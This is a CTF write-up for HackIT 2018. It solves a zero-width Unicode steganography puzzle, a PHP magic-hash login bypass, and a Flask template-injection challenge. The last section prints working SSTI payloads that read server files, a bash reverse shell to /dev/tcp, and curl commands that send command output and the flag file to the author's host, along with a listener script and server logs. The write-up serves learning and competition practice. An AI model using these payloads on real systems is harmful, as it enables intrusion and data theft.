CTF
Name : HackIT CTF 2018
Website : ctf.hackit.ua
Type : Online
Format : Jeopardy
CTF Time : link
1 - Get Going - Misc
https://ctf.hackit.ua/w31c0m3
There is a message:
Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯
And only that.
Then two hints where added:
Get Going hint: Do you see only Ascii on that w3lcome(put the correct word of that page) page. Really?
Get Going hint2: Zero Width Concept.
As we can see here there is a lot of invisible characters:
$ xxd welcome
00000000: 57e2 808b e280 8be2 808b e280 8be2 808f W...............
00000010: e280 8be2 808d e280 8be2 808b e280 8be2 ................
00000020: 808b e280 8fe2 808c e280 8ee2 808b e280 ................
00000030: 8be2 808b e280 8be2 808e e280 8fe2 808d ................
00000040: e280 8be2 808b e280 8be2 808b e280 8fe2 ................
00000050: 808b e280 8ee2 808b e280 8be2 808b e280 ................
00000060: 8be2 808f e280 8fe2 808e e280 8be2 808b ................
00000070: e280 8be2 808b e280 8fe2 808e e280 8fe2 ................
00000080: 808b e280 8be2 808b e280 8be2 808d e280 ................
00000090: 8be2 808c e280 8be2 808b e280 8be2 808b ................
000000a0: e280 8ee2 808f e280 8be2 808b e280 8be2 ................
000000b0: 808b e280 8be2 808f e280 8be2 808e e280 ................
000000c0: 8be2 808b e280 8be2 808b e280 8fe2 808d ................
000000d0: e280 8fe2 808b e280 8be2 808b e280 8be2 ................
000000e0: 808d e280 8be2 808c e280 8be2 808b e280 ................
000000f0: 8be2 808b e280 8de2 808b e280 8ce2 808b ................
00000100: e280 8be2 808b e280 8be2 808d e280 8ce2 ................
00000110: 808b e280 8be2 808b e280 8be2 808b e280 ................
00000120: 8ee2 808f e280 8be2 808b e280 8be2 808b ................
00000130: e280 8be2 808f e280 8be2 808f e280 8be2 ................
00000140: 808b e280 8be2 808b e280 8de2 808b e280 ................
00000150: 8de2 808b e280 8be2 808b e280 8be2 808e ................
00000160: e280 8fe2 808f e280 8be2 808b e280 8be2 ................
00000170: 808b e280 8fe2 808c e280 8de2 808b e280 ................
00000180: 8be2 808b e280 8be2 808d e280 8be2 808c ................
00000190: e280 8be2 808b e280 8be2 808b e280 8fe2 ................
000001a0: 808d e280 8fe2 808b e280 8be2 808b e280 ................
000001b0: 8be2 808f e280 8fe2 808d e280 8be2 808b ................
000001c0: e280 8be2 808b e280 8ee2 808f e280 8be2 ................
000001d0: 808b e280 8be2 808b e280 8be2 808f e280 ................
000001e0: 8ee2 808f e280 8be2 808b e280 8be2 808b ................
000001f0: e280 8ce2 808f e280 8fe2 808b e280 8be2 ................
00000200: 808b e280 8be2 808f e280 8ee2 808c e280 ................
00000210: 8be2 808b e280 8be2 808b e280 8fe2 808b ................
00000220: e280 8fe2 808b e280 8be2 808b e280 8be2 ................
00000230: 808e e280 8fe2 808b e280 8be2 808b e280 ................
00000240: 8be2 808b e280 8fe2 808e e280 8de2 808b ................
00000250: e280 8be2 808b e280 8be2 808f e280 8de2 ................
00000260: 808b e280 8be2 808b e280 8be2 808b e280 ................
00000270: 8ce2 808f e280 8fe2 808b e280 8be2 808b ................
00000280: e280 8be2 808e e280 8fe2 808f e280 8be2 ................
00000290: 808b e280 8be2 808b e280 8ce2 808f e280 ................
000002a0: 8ee2 808b e280 8be2 808b e280 8be2 808f ................
000002b0: e280 8be2 808b e280 8be2 808b e280 8be2 ................
000002c0: 808b e280 8de2 808b e280 8ce2 808b e280 ................
000002d0: 8be2 808b e280 8ce2 808b e280 8be2 808b ................
000002e0: 656c 636f 6d65 2074 6f20 7468 6520 4861 elcome to the Ha
000002f0: 636b 4954 2032 3031 3820 4354 462c 2066 ckIT 2018 CTF, f
00000300: 6c61 6720 6973 2073 6f6d 6577 6865 7265 lag is somewhere
00000310: 2068 6572 652e 20c2 af5f 28e3 8384 295f here. .._(...)_
00000320: 2fc2 af20 0a /.. .
Then I read this article: Be careful what you copy: Invisibly inserting usernames into text with Zero-Width Characters , I invite you to read it.
This technique was used to fingerprint journalists when copy/pasting.
Finally I installed zwsp-steg and write this very short script in javascript:
const ZwspSteg = require ( 'zwsp-steg' );
let decoded = ZwspSteg . decode ( 'Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯ ' );
console . log ( decoded ); // hidden message
Then I grabbed the flag:
$ node decode.js
flag{w3_gr337_h4ck3rz_w1th_un1c0d3}
BabyPeeHPee - Web
Prove you are not a baby: http://185.168.130.148/
So we have the source code of the app and auth.so
, a dynamic library used for authentication.
< ? php
include 'flag.php' ;
$username = substr ( $_GET [ 'u' ], 0 , 25 );
$password = substr ( $_GET [ 'p' ], 0 , 45 );
echo "Hello <b>Baby:</b><br>You may need <a href= \" /?source \" >this</a> and/or <a href= \" /auth.so \" >this</a><br>" ;
if ( isset ( $_GET [ 'source' ])){
show_source ( __FILE__ );
}
$digest = @ auth ( $username , $password );
if ( md5 ( $username ) == md5 ( $digest ) and $digest !== $username ){
echo "you are a good boy here is your flag : <b> $flag </b>" ;
}
else {
echo "you are not a good boy so no flag for you :(" ;
}
This piece of code (md5($username) == md5($digest) and $digest !== $username)
looks like we will have to do a classic PHP type juggling
.
If you are not used to read my write-ups, I invite you to read PHP Magic Tricks: Type Juggling by Chris Smith and Magic Hashes by Robert Hansen .
But currently we don't know what is the digest $digest = @auth($username,$password);
, that's why we need to reverse auth.so
.
Once someone of my team told me that in auth.so
digest was outputting a hardcoded string and it was possible to overflow it at a fixed length, I began to work on that.
From PayloadsAllTheThings we already know that md5('240610708') == md5('QNKCDZO')
in PHP.
So we need to overflow $digest
with a value we control in $password
, so we will have md5('magic_hash_1') == md5('overflow' + 'magic_hash_2')
but md5('magic_hash_1') !== md5('magic_hash_2')
.
The only thing left is to know the buffer length that we will need to overflow. We have multiple choices:
continue to reverse auth.so
(long and boring)
inject auth.so
in a local copy of the website and find by ourselves
bruteforce until we have it (quick and fun)
We already know that password can't be larger than 46 chars $password = substr($_GET['p'],0,45);
, so the overflow must be smaller or equal. Basically this will take less than 46 requests to the remote server to find out.
So we can bruteforce password by adding A
one by one like this:
http://185.168.130.148/?u=240610708&p=A240610708
http://185.168.130.148/?u=240610708&p=AA240610708
http://185.168.130.148/?u=240610708&p=AAA240610708
Or we can be smarter and imagine the buffer will probably be a power of 2 and test only those.
The answer was http://185.168.130.148/?u=240610708&p=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA240610708
.
irb(main): 001 : 0 > 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' .size
=> 32
There are 32 = 2^5
A
to overflow the hardcoded digest.
The flag was flag{here_is_a_warmup_chal_for_u_baby_}
.
Believer Case - Web
We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you?
http://185.168.131.123
The website is welcoming us with a message:
Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? See this
http://185.168.131.123/test
is displaying test
so we are maybe dealing with a template injection.
Let's try to fuzz:
http://185.168.131.123/%7B%7B%7D%7D
=> Internal Server Error
: sounds good
http://185.168.131.123/%7B%7B7*6%7D%7D
=> 42
: SSTI confirmed
http://185.168.131.123/%7B%7Bconfig%7D%7D
=> Internal Server Error
: config
must be blacklisted
http://185.168.131.123/%7B%7Bg%7D%7D
=> <flask.g of 'app'>
nice we have a Flask web app
So from Shrine web challenge we did not so long ago during Tokyo Western CTF, I take back our previous payload and modified it a little: http://185.168.131.123/%7B%7Burl_for.__globals__.current_app.__dict__%7D%7D
.
We are used to url_for
, let's use get_flashed_messages
to change :D
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.current_app.__dict__%7D%7D
is dumping all global variables from the Flask app context:
{
'subdomain_matching' : False ,
'error_handler_spec' : {
None : {}
},
'_before_request_lock' : < thread.lock object at 0x 7fde0c62b730 > ,
'jinja_env' : < flask.templating.Environment object at 0x 7fde0c38fe90 > ,
'before_request_funcs' : {},
'teardown_appcontext_funcs' : [],
'shell_context_processors' : [],
'after_request_funcs' : {},
'cli' : < flask.cli.AppGroup object at 0x 7fde0c38f990 > ,
'_blueprint_order' : [],
'before_first_request_funcs' : [],
'view_functions' : {
'blacklist_template' : < function blacklist_template at 0x 7fde0c38bb18 > ,
'index_template' : < function index_template at 0x 7fde0c38baa0 > ,
'static' : < bound method Flask.send_static_file of < Flask 'app' >>
},
'instance_path' : '/opt/app/instance' ,
'teardown_request_funcs' : {},
'logger' : < logging.Logger object at 0x 7fde0c341b50 > ,
'url_value_preprocessors' : {},
'config' : < Config {
'JSON_AS_ASCII' : True ,
'USE_X_SENDFILE' : False ,
'SESSION_COOKIE_SECURE' : False ,
'SESSION_COOKIE_PATH' : None ,
'SESSION_COOKIE_DOMAIN' : None ,
'SESSION_COOKIE_NAME' : 'session' ,
'MAX_COOKIE_SIZE' : 4093 ,
'SESSION_COOKIE_SAMESITE' : None ,
'PROPAGATE_EXCEPTIONS' : None ,
'ENV' : 'production' ,
'DEBUG' : False ,
'SECRET_KEY' : None ,
'EXPLAIN_TEMPLATE_LOADING' : False ,
'MAX_CONTENT_LENGTH' : None ,
'APPLICATION_ROOT' : '/' ,
'SERVER_NAME' : None ,
'PREFERRED_URL_SCHEME' : 'http' ,
'JSONIFY_PRETTYPRINT_REGULAR' : False ,
'TESTING' : False ,
'PERMANENT_SESSION_LIFETIME' : datetime. timedelta ( 31 ),
'TEMPLATES_AUTO_RELOAD' : None ,
'TRAP_BAD_REQUEST_ERRORS' : None ,
'JSON_SORT_KEYS' : True ,
'JSONIFY_MIMETYPE' : 'application/json' ,
'SESSION_COOKIE_HTTPONLY' : True ,
'SEND_FILE_MAX_AGE_DEFAULT' : datetime. timedelta ( 0 , 43200 ),
'PRESERVE_CONTEXT_ON_EXCEPTION' : None ,
'SESSION_REFRESH_EACH_REQUEST' : True ,
'TRAP_HTTP_EXCEPTIONS' : False
} > ,
'_static_url_path' : None ,
'jinja_loader' : < jinja2.loaders.FileSystemLoader object at 0x 7fde0c297410 > ,
'template_context_processors' : {
None : [ < function _default_template_ctx_processor at 0x 7fde0c374ed8 > ]
},
'template_folder' : 'templates' ,
'blueprints' : {},
'url_map' : Map ([ < Rule '/' ( HEAD , OPTIONS , GET ) - > index_template > , < Rule '/static/<filename>' ( HEAD , OPTIONS , GET ) - > static > , < Rule '/<template>' ( HEAD , OPTIONS , GET ) - > blacklist_template > ]),
'name' : 'app' ,
'_got_first_request' : True ,
'import_name' : 'app' ,
'root_path' : '/opt/app' ,
'_static_folder' : 'static' ,
'extensions' : {},
'url_default_functions' : {},
'url_build_error_handlers' : []
}
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.current_app.config%7D%7D
=> Internal Server Error
, this should work, it actually works for any other variables, config
must be blacklisted.
I can access object
, eval
, file
, socket
and os
from http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__%7D%7D
So we can read the source of the challenge for example with http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.__builtins__.file('/opt/app/app.py').read()%7D%7D
.
from flask
import Flask, render_template, render_template_string app = Flask ( __name__ ) def blacklist_replace (template): blacklist = [ "[" , "]" , "config" , "self" , "from_pyfile" , "|" , "join" , "mro" , "class" , "request" , "pop" , "attr" , "args" , "+" ]
for b in blacklist: if b in template: template = template. replace (b, "" ) return template @ app. route ( "/" ) def index_template (): return "Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>"
@app . route ( "/<path:template>" ) def blacklist_template(template): if len(template) > 10000: return "This is too long"
while blacklist_replace (template) != template: template = blacklist_replace (template) return render_template_string (template) if __name__ == '__main__' : app. run ( debug = False )
The source is not so useful but allow us to see what is blacklisted. Now let's os
, we have access to it!
With http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('bash -i >& /dev/tcp/x.x.x.x/9999 0>&1')%7D%7D
we tried to lunch a reverse shell but as the challenge app should be in a docker container, only the web port must be exposed.
So instead of using raw TCP connection k3y has the idea to make a HTTP connection like this http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl mydomain:8080')%7D%7D
.
I used a python HTTP reflector script on my server but it is possible to use some service like requestbin.
#!/usr/bin/env python
# Reflects the requests from HTTP methods GET, POST, PUT, and DELETE
# Written by Nathan Hamiel (2010)
from http.server import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
class RequestHandler ( BaseHTTPRequestHandler ):
def do_GET ( self ):
request_path = self .path
print ( " \n ----- Request Start -----> \n " )
print ( "Request path:" , request_path)
print ( "Request headers:" , self .headers)
print ( "<----- Request End ----- \n " )
self . send_response ( 200 )
self . send_header ( "Set-Cookie" , "foo=bar" )
self . end_headers ()
def do_POST ( self ):
request_path = self .path
print ( " \n ----- Request Start -----> \n " )
print ( "Request path:" , request_path)
request_headers = self .headers
content_length = request_headers. get ( 'Content-Length' )
length = int (content_length) if content_length else 0
print ( "Content Length:" , length)
print ( "Request headers:" , request_headers)
print ( "Request payload:" , self .rfile. read (length))
print ( "<----- Request End ----- \n " )
self . send_response ( 200 )
self . end_headers ()
do_PUT = do_POST
do_DELETE = do_GET
def main ():
port = 8080
print ( 'Listening on localhost: %s ' % port)
server = HTTPServer (( '' , port), RequestHandler)
server. serve_forever ()
if __name__ == "__main__" :
parser = OptionParser ()
parser.usage = ( "Creates an http-server that will echo out any GET or POST parameters \n "
"Run: \n\n "
" reflect" )
(options, args) = parser. parse_args ()
main ()
Now let's mess with the RCE:
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(id)')%7D%7D
=> 185.168.131.123 - - [09/Sep/2018 20:01:55] "GET /uid=65534(nobody) HTTP/1.1" 200 -
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(ls flag*)')%7D%7D
=> 185.168.131.123 - - [09/Sep/2018 20:09:14] "GET /flag_secret_file_910230912900891283 HTTP/1.1" 200 -
http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(cat flag_secret_file_910230912900891283)')%7D%7D
=> 185.168.131.123 - - [09/Sep/2018 20:10:25] "GET /flagblacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813 HTTP/1.1" 200 -
k3y
used %7B%7B get_flashed_messages.__globals__.os.listdir('.')%7D%7D
to list the files instead of shell globbing like me.